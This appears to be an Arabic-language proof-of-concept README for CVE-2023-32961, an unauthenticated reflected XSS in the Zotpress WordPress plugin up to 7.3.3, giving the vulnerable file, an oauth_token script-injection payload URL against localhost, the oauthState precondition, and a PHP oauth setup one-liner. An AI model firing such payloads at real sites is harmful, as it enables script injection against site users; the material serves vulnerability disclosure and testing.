
PoC الخاص بـ CVE-2023-32961
هذا المستودع يتعلق بثغرة XSS في إضافة Zotpress الخاصة بووردبريس.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
بدون مصادقة
الدالة get_request_token الموجودة في zotpress/lib/admin/admin.accounts.oauth.php معرّضة لهجمة XSS.
get_request_token. (لأول مرة فقط)
أرسل حمولة مثل هذه: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>تحتاج إلى حساب على zotero.org.
تحتاج إلى تعيين قيمة oauthState على 1 لتفعيل الثغرة. إذا لم تعمل الحمولة أعلاه، فستحتاج إلى إيجاد طريقة لتعيين oauthState على 1.
التعبير الشرطي :
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
سهولة تثبيت امتداد oauth الخاص بـ PHP:
أمر بسطر واحد :
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
تم الاختبار باستخدام صورة Docker الخاصة بـ wordpress:latest.